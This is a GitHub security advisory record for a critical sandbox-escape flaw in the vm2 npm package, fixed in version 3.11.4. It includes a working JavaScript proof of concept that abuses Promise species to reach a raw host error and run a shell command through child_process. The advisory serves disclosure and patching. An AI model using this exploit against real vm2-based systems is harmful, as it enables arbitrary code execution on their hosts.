{"ghsa_id":"GHSA-76w7-j9cq-rx2j","cve_id":"CVE-2026-47208","url":"https://api.github.com/advisories/GHSA-76w7-j9cq-rx2j","html_url":"https://github.com/advisories/GHSA-76w7-j9cq-rx2j","summary":"vm2 is Vulnerable to Sandbox Breakout Through Promise Species","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d > 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nlet ex, ct;\nclass FakePromise extends Promise {\n\tstatic get [Symbol.species](){return ct;}\n}\nfunction doCatch(f) {\n\tex=undefined;\n\tconst p=Promise.withResolvers();\n\tct = function(e){e(f, v=>{ex=v;p.resolve();})};\n\tnew FakePromise(r=>r());\n\treturn p.promise;\n}\n(async function f(s) {\n\tlet min = s;\n\tlet max = 100000;\n\twhile (min<max) {\n\t\tconst mid = (min+max)>>1;\n\t\tawait doCatch(()=>so(mid));\n\t\tif (ex.name===\"RangeError\" && !(ex instanceof RangeError)) {\n\t\t\tex.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t\t\treturn;\n\t\t}\n\t\tif (ex instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n\tf(s+1);\n})(0);\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","type":"reviewed","severity":"critical","repository_advisory_url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-76w7-j9cq-rx2j","source_code_location":"https://github.com/patriksimek/vm2","identifiers":[{"value":"GHSA-76w7-j9cq-rx2j","type":"GHSA"},{"value":"CVE-2026-47208","type":"CVE"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-76w7-j9cq-rx2j","https://github.com/patriksimek/vm2/commit/a462655009669c3124ee39498121651597529ea8","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://nvd.nist.gov/vuln/detail/CVE-2026-47208","https://github.com/advisories/GHSA-76w7-j9cq-rx2j"],"published_at":"2026-05-29T17:40:15Z","updated_at":"2026-06-12T20:50:55Z","github_reviewed_at":"2026-05-29T17:40:15Z","nvd_published_at":"2026-06-12T15:16:28Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.11.3","first_patched_version":"3.11.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-913","name":"Improper Control of Dynamically-Managed Code Resources"}],"credits":[{"user":{"login":"XmiliaH","id":45106915,"node_id":"MDQ6VXNlcjQ1MTA2OTE1","avatar_url":"https://avatars.githubusercontent.com/u/45106915?v=4","gravatar_id":"","url":"https://api.github.com/users/XmiliaH","html_url":"https://github.com/XmiliaH","followers_url":"https://api.github.com/users/XmiliaH/followers","following_url":"https://api.github.com/users/XmiliaH/following{/other_user}","gists_url":"https://api.github.com/users/XmiliaH/gists{/gist_id}","starred_url":"https://api.github.com/users/XmiliaH/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/XmiliaH/subscriptions","organizations_url":"https://api.github.com/users/XmiliaH/orgs","repos_url":"https://api.github.com/users/XmiliaH/repos","events_url":"https://api.github.com/users/XmiliaH/events{/privacy}","received_events_url":"https://api.github.com/users/XmiliaH/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0},"epss":{"percentage":0.00762,"percentile":0.5281}}